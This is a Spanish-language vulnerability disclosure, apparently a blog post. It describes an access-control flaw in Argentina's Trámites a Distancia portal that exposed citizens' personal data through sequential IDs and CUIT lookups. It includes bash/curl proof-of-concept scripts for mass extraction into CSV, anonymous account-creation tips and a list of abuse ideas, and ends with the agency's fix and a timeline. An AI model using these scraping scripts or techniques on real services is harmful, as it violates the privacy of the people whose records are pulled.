Trámites a Distancia: Serie de vulnerabilidades permiten el acceso a datos personales de terceros
INTRODUCCIÓN
La
información provista este documento tiene com único fin lograr evitar
que nuestra información personal pueda ser accedida por usuarios
malintencionados. Esta falla ha sido reportada anteriormente, sin
obtener respuesta o solución alguna.
El desarrollo del presente documento se ha realizado por Martín Aberastegue (@Xyborg)
y reportado de forma responsable a la Dirección Nacional de Tramitación
e Identificación a Distancia | Subsecretaría de Innovación
Administrativa | Secretaría de Innovación Pública quienes procedieron a
la solución del problema.
RESUMEN
En el siguiente documento se intenta describir el alcance y proceso de explotación de la vulnerabilidad detectada.
El nivel de detalle mostrado es con el fin de ser lo más claro posible
sobre la naturaleza del error, y no así facilitar su aprovechamiento.
Se
proveen ejemplos de códigos de pruebas de concepto de modo de demostrar
el poco conocimiento técnico necesitado para la extracción masiva de
estos datos.
OBJETIVOS
- Dejar en claro el problema y ubicación de los archivos causantes del mismo.
- Lograr que se solucione la vulnerabilidad en la plataforma y se deje de exponer información privada de los usuarios de la misma.
DESARROLLO
Este
error puede ser explotado desde el sitio Trámites a Distancia, cuyo uso
se vio disparado con el auge de los trámites temporarios para circular
durante la cuarentena. Esto último incrementó su adopción, agrandando la
base de datos disponibles para su explotación. Es decir, hoy tenemos
más datos personales de residentes argentinos que teníamos hace 2 meses
atrás.
La web en cuestión es: https://tramitesadistancia.gob.ar/
A
la misma se puede acceder conectándose a través de la plataforma
Autenticar.gob.ar, que permite el acceso federado (Identidad Federada)
utilizando la modalidad “Single Sign-on” (SSO).
Los proveedores de autenticación habilitados actualmente para este fin son:
- AFIP
- ANSES
- MI ARGENTINA
- MI DNI / RENAPER
- NIC ARGENTINA (NO RESIDENTES)
- BORA (Parece estar fuera de servicio)
¿Es posible realizar este ataque de forma anónima?
Si, mediante la creación de una cuenta utilizando datos de terceros fácilmente asequibles.
Para
el fin de este artículo nos enfocaremos en el acceso mediante el
proveedor “Mi Argentina”, pero una vez dentro de TAD se puede seguir
exactamente el mismo proceso para extraer los datos de los demás
usuarios. La ventaja de utilizar “Mi Argentina” es que podemos hacernos
con una cuenta rápidamente con solo conocer un CUIT y tener una cuenta
de email válida (puede ser descartable, se utiliza solo para verificar
la cuenta luego del alta).
Para
explotar este error, no es necesario utilizar nuestra propia identidad,
el usuario malicioso puede crear una nueva cuenta utilizando la opción
de “Mi Argentina”, dando de alta un nuevo CUIT con cualquier email de su
preferencia. La única condición para que esto funcione es que ese CUIT
no esté en uso actualmente en la plataforma.
“Mi
Argentina” solo pide confirmación vía email para verificar la identidad
y evitar altas masivas automáticas (método poco efectivo), una vez
logrado esto podremos ingresar al sistema. Para realizar trámites puede
que solicite avanzar con el paso de verificación de datos biométricos,
pero en este caso no es necesario para poder acceder a la información
del resto de los usuarios.
Esto quiere decir que estaremos, teóricamente, dentro del nivel 1 de seguridad de “Mi Argentina”.
Niveles de Seguridad Autenticar.gob.ar
https://autenticar.gob.ar/idps.html#niveles
https://autenticar.gob.ar/idps.html#niveles
Seguridad y protección anti ataques contemplados por Autenticar.gob.ar
https://autenticar.gob.ar/desarrolladores.html#seguridad
https://autenticar.gob.ar/desarrolladores.html#seguridad
El siguiente punto es el que deberían revisar en profundidad, ya que no lo están cumpliendo:
¿Dónde obtengo un CUIL válido?
Existen
decenas de sitios que publicación la información que AFIP provee de
manera pública en su sitio (archivos TSV), pero en un formato más
amigable para el usuario con conocimientos básicos de informática. De
esta manera un atacante puede hacerse fácilmente con un número de CUIT
que en el caso de personas físicas es exactamente el mismo que el CUIL.
Padrón completo de las Constancias de Inscripción en la AFIP:
http://www.afip.gov.ar/genericos/cinscripcion/archivocompleto.asp
http://www.afip.gov.ar/genericos/cinscripcion/archivocompleto.asp
Origen del problema
Este se encuentra
en varios de los servicios consultados por el sitio para mostrar la
información en pantalla, uno de ellos por ejemplo es el que es llamado
al visitar la sección “Mis Datos”, este servicio devuelve la información
del usuario cuando se la solicita enviando su ID.
El
ID es numérico y secuencial, es decir que los primeros usuarios
comienzan en 1 y los últimos registrados rondan los 2.000.000. Cuando
pedimos estos datos, el diseño ideal sería que dicho servicio o API
compruebe que quien solicita la información tiene permisos suficientes
para acceder a la misma, pero esto en la práctica no sucede, alcanza con
modificar ese número identificador para visualizar los datos de otro
usuario.
https://tramitesadistancia.gob.ar/tad2-rest/persona/10001
Donde ‘10001’ es el ID del usuario solicitado.
Donde ‘10001’ es el ID del usuario solicitado.
Por
otro lado, existe otro Web Service (WS) donde es posible acceder a los
datos si uno conoce el CUIT de la víctima u objetivo, obteniendo gracias
a este el ID de dicho usuario que puede ser utilizado en combinación
con el WS anterior para extraer la información personal almacenada en la
base de datos.
La URL del Web Service está compuesta de la siguiente manera:
https://tramitesadistancia.gob.ar/tad2-rest//persona/tad/cuit/200000001
Donde ‘200000001’ viene a ser el CUIT del cual pedimos información.
Donde ‘200000001’ viene a ser el CUIT del cual pedimos información.
Así,
uno puede con el primer WS barrer con la base completa con solo ir
incrementando el valor del identificador en uno, proceso durante el cual
obtendremos algunas respuestas de ID inexistente, pero en la gran
mayoría el resultado será positivo.
Para
poder realizar este tipo de consultas a los WS es necesario contar con
el token y cookie de una sesión recientemente activa, la misma dura
alrededor de una hora pero se podrían ejecutar trabajos en paralelo para
acelerar la descarga de información.
El token podremos identificarlo en nuestro navegador como “Authorization: Bearer”, y el código que lo sigue es en realidad un JSON
Web Token (JWT), donde el sistema propaga nuestra identidad al resto de
los servicios, si lo decodificamos utilizando un sitio como https://jwt.io/ podremos ver nuestra información personal como nombre, apellido, email, etc.
Hasta
ahí todo bien, pero luego internamente cada servicio falla en verificar
si quien solicita esa información es la misma persona que la del JWT, o
en su defecto alguien con los permisos suficientes como para visualizar
datos de un tercero.
Para mayor
información sobre el funcionamiento del token devuelto por la Plataforma
de Autenticación Electrónica Central (PAEC), pueden consultar la
siguiente documentación oficial:
https://autenticar.gob.ar/assets/docs/TokenCanonico.pdf
https://autenticar.gob.ar/assets/docs/TokenCanonico.pdf
En
el segundo caso, si tenemos ya una base de CUIL/CUIT, podríamos
consultar este servicio para completar la misma con los datos personales
faltantes.
Ejemplo de respuesta en formato JSON enviada por el Web Service:
{
"error": false, "mensaje": null, "respuesta": { "apellidos":"APELLIDO", "codigoPais":"AR", "codigoTelefonoPais":"+54", "cuit":"20000000001", "email": "EMAIL@VICTIMA.COM", "fechaAlta": null, "fechaModificacion": null, "id": 10001, "nombres": "NOMBRE", "numeroDocumento": "00000000", "razonSocial": null, "sexo": "M", "telefono": "123456", "terminosYCondiciones": { "contenido": "", "estado": "ACTIVO", "fechaAlta": 1410449162000, "id": 9, "nivelAcceso": { "authorizationEndPoint": "https://autenticar.gob.ar/auth/realms/tad-afip/protocol/openid-connect/auth?client_id=tad&redirect_uri=https:%2F%2Ftramitesadistancia.gob.ar%2Ftramitesadistancia%2Fpaec%2FServletLogin&response_type=token&response_mode=form_post&scope=all&state=692055100728.984", "endSessionEndPoint": "https://autenticar.gob.ar/auth/realms/tad-afip/protocol/openid-connect/logout?client_id=tad&post_logout_redirect_uri=https:%2F%2Ftramitesadistancia.gob.ar%2Ftramitesadistancia%2Finicio-publico", "habilitarApoderamiento": true, "id": 1, "loginComponent": "/primerLogin", "nivelAcceso": 200, "nombre": "AFIP", "proveedor": "AFIP2" }, "tipoDocumento": { "acronimoGedo": "TEYCO", "acronimoTAD": "TYC", "descripcion": "T\u00e9rminos y Condiciones", "documentoTipoFirma": null, "embebidoOpcional": null, "esEmbebido": false, "esFirmaConjunta": false, "fechaAlta": 1410449162000, "fechaModificacion": null, "firmaConToken": false, "formularioControlado": null, "id": 16, "ip": null, "nombre": "T\u00e9rminos y Condiciones", "textoLibreEnriquecido": null, "textoLibreLimite": null, "tipoProduccion": null, "usuarioCreacion": "GENERICO", "usuarioIniciador": "USUARIOTAD", "usuarioModificacion": null } }, "tipoDocumento": "DU", "tipoPersona": "PF", "usuarioCreacion": null, "usuarioModificacion": null } } |
PRUEBAS DE CONCEPTO
Las
siguientes pruebas de concepto (PoC) tiene como fin verificar de manera
simple y rápida la potencialidad de esta vulnerabilidad, así como la
simpleza de su explotación.
Extracción masiva de datos personales:
#!/bin/bash
bearerdata="" cookiedata="" for (( cuitcito=1914885; cuitcito<=1914900; c++ ))do eljason=$(curl -s 'https://tramitesadistancia.gob.ar/tad2-rest/persona/$cuitcito' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Authorization: Bearer $bearerdata' -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Access-Control-Allow-Origin: *' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 OPR/67.0.3575.115' -H 'Sec-Fetch-Dest: empty' -H 'save-data: on' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: https://tramitesadistancia.gob.ar/tramitesadistancia/misdatos' -H 'Accept-Language: en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7' -H 'Cookie: $cookiedata' --compressed 2> /dev/null) apellidos=$(echo $eljason | jq --raw-output '.respuesta.apellidos' 2> /dev/null) nombres=$(echo $eljason | jq --raw-output '.respuesta.nombres' 2> /dev/null) mailcito=$(echo $eljason | jq --raw-output '.respuesta.email' 2> /dev/null) numeroDocumento=$(echo $eljason | jq --raw-output '.respuesta.numeroDocumento' 2> /dev/null) fecha=$(date +"%d/%m/%Y,%H:%M:%S" 2> /dev/null) echo "$cuitcito,$apellidos,$nombres,$numeroDocumento,$mailcito,$fecha" | tee -a resultados.csvdone |
Consulta de datos personales por CUIT:
Para llevar a cabo el siguiente proceso necesitamos cURL y JQ para extraer fácilmente los datos incluidos en la respuesta JSON.
#!/bin/bash
bearerdata="" cookiedata="" echo "# TAD WhoIs #" while true; do echo -n "CUIT: " read cuitcito getidbycuit=$(curl -s 'https://tramitesadistancia.gob.ar/tad2-rest//persona/tad/cuit/$cuitcito' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Authorization: Bearer $bearerdata' -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Access-Control-Allow-Origin: *' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 OPR/67.0.3575.115' -H 'Sec-Fetch-Dest: empty' -H 'save-data: on' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: https://tramitesadistancia.gob.ar/tramitesadistancia/?init=' -H 'Accept-Language: en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7' -H 'Cookie: $cookiedata' --compressed) idperson=$(echo $getidbycuit | jq --raw-output '.respuesta.id' 2> /dev/null) eljason=$(curl -s 'https://tramitesadistancia.gob.ar/tad2-rest/persona/'$idperson'' -H 'Connection: keep-alive' -H 'DNT: 1' -H 'Authorization: Bearer '$bearerdata'' -H 'Accept: application/json' -H 'Content-Type: application/json' -H 'Access-Control-Allow-Origin: *' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 OPR/67.0.3575.115' -H 'Sec-Fetch-Dest: empty' -H 'save-data: on' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-Mode: cors' -H 'Referer: https://tramitesadistancia.gob.ar/tramitesadistancia/misdatos' -H 'Accept-Language: en-US,en;q=0.9,es-AR;q=0.8,es;q=0.7' -H 'Cookie: '$cookiedata'' --compressed 2> /dev/null) apellidos=$(echo $eljason | jq --raw-output '.respuesta.apellidos' 2> /dev/null) nombres=$(echo $eljason | jq --raw-output '.respuesta.nombres' 2> /dev/null) mailcito=$(echo $eljason | jq --raw-output '.respuesta.email' 2> /dev/null) telefono=$(echo $eljason | jq --raw-output '.respuesta.telefono' 2> /dev/null) numeroDocumento=$(echo $eljason | jq --raw-output '.respuesta.numeroDocumento' 2> /dev/null) numcuit=$(echo $eljason | jq --raw-output '.respuesta.cuit' 2> /dev/null) altavia=$(echo $eljason | jq --raw-output '.respuesta.terminosYCondiciones.nivelAcceso.nombre' 2> /dev/null) fecha=$(date +"%d/%m/%Y,%H:%M:%S" 2> /dev/null) echo "$idperson,$apellidos,$nombres,$numcuit,$numeroDocumento,$mailcito,$telefono,$altavia" | tee -a resultado.csvdone |
Usos potenciales de esta información
El
destino y uso de la misma es de lo más variado y queda a la imaginación
de cada atacante, pero va desde alimentación de servicios de
enriquecimiento de bases de datos personales, uso en estafas (ejemplo:
atacar listado de usuarios con cuenta generada vía ANSES ofreciendo
acceso al IFE), remarketing en plataformas donde se nos permita subir
números telefónicos o direcciones de correo para enfocar nuestros
anuncios, SPAM vía SMS/Email, etc.
En
las últimas semanas han sido publicadas filtraciones de padrones
pertenecientes a ciertos distritos y provincias, y en el caso de PJ
Bonaerense el padrón de 2017 con el listado completo de sus afiliados en
la provincia de Buenos Aires. Si alguien combinara esa información (DNI
-> CUIL -> email + teléfono), podría ser mucho más fácil para
dirigir campañas de pauta online o comunicaciones masivas teniendo en
cuenta esa preferencia política. Así sea incluyendo o excluyendo esas
personas de su audiencia objetivo, logrando así hacer más rentable y
efectiva su campaña.
Como verán, su finalidad puede ser tan variado como sea de creativo el atacante o quien adquiera estos datos.
RESPONSABILIDAD
De
acuerdo a los “Términos y Condiciones de Uso de la Plataforma de
Autenticación Electrónica Central – PAEC”, la responsabilidad sobre los
errores y fallas en el sistema son limitadas, cito a continuación la
sección que hace referencia a esto:
SOLUCIÓN Y RESPUESTA OFICIAL
La plataforma de TRÁMITES A DISTANCIA (TAD)
es considerada la sede virtual del ciudadano ante la Administración
Pública Nacional, donde puede realizar sus trámites de manera virtual
desde su PC, gestionar y llevar el seguimiento de los mismos sin tener
que acercarse a una mesa de entrada. TAD hoy pone a disposición de la
sociedad más de 2000 trámites para interactuar con los Ministerios y
Organismos del Estado Nacional.
Cada
trámite requiere la identificación del ciudadano que tramita, ya sea en
nombre propio o en representación de un tercero, que se resuelve con
diversos proveedores de identidad integrados en la herramienta
AUTENTICAR, que concentra la comunicación con: AFIP (clave fiscal en
todos sus niveles), RENAPER (DNI y número de trámite), ANSES (clave de
seguridad social en todos sus niveles) y MI ARGENTINA (usuario y
contraseña).
En el primer ingreso a TAD,
el ciudadano se registra aceptando los términos y condiciones de uso de
la plataforma y brinda algunos datos básicos de contacto como ser
nombre, apellido, mail, teléfono, país, entre otros. La consulta de
estos datos básicos de contacto se brinda por pantalla al usuario dueño
de los mismos. TAD dispone de un servicio interno que retorna esta
información, el cual sólo puede ser accedido por un usuario autenticado.
Se procedió a restringir el acceso a este
servicio para que los datos de contacto sólo sean retornados al propio
usuario dueño de los mismos.
Técnicamente,
TAD cuenta con un servicio REST expuesto únicamente para usuarios
autenticados, que recupera los datos de contacto de un usuario
registrado en la plataforma: https://tramitesadistancia.gob.ar/tad2-rest//persona/{idPersona}, donde idPersona es el ID único del modelo persona en TAD, dato numérico y secuencial.
La forma de conocer el ID asignado a una determinada persona, se logra a través del servicio: https://tramitesadistancia.gob.ar/tad2-rest//persona/tad/cuit/{cuit}, el cual requiere recibir la CUIT de la persona en cuestión.
Ambos
servicios controlan ser consumidos por un usuario autenticado. El
protocolo de autenticación de TAD es OpenID Connect, por lo que en cada
llamada a servicio se envía un token JWT. En particular, el JWT de TAD
contiene información del usuario autenticado, como es su CUIT.
Para
incorporar al control la limitación de retorno de los datos de contacto
solo cuando el requirente es el propio dueño, se valida que el usuario
autenticado que consume los datos de un idPersona (que en la llamada
lleva un token JWT) tenga el mismo CUIT que el idPersona que está
solicitando. Esto se realiza validando el token de autenticación de
Autenticar que contiene el cuit de la persona autenticada.
HISTORIA
01/03/2020 - Se encuentra la vulnerabilidad
23/03/2020 - Reportado de manera anónima
14/05/2020 - Se reporta a Segu-Info y Access Now
14/05/2020
- Se reporta a diferentes referentes de la Dirección Nacional de
Tramitación e Identificación a Distancia | Subsecretaría de Innovación
Administrativa | Secretaría de Innovación Pública quienes procedieron a
la solución del problema.
24/05/2020 - Se detecta que se ha solucionado el problema.
01/06/2020 - La Dirección comunica la solución oficial de la vulnerabilidad.
Fuente: Artículo
Tremendo trabajo! muy interesante para leerlo . Soy un abogado dedicado al derecho digital y esta nota esta buenisima! mis felicitaciones
ResponderEliminar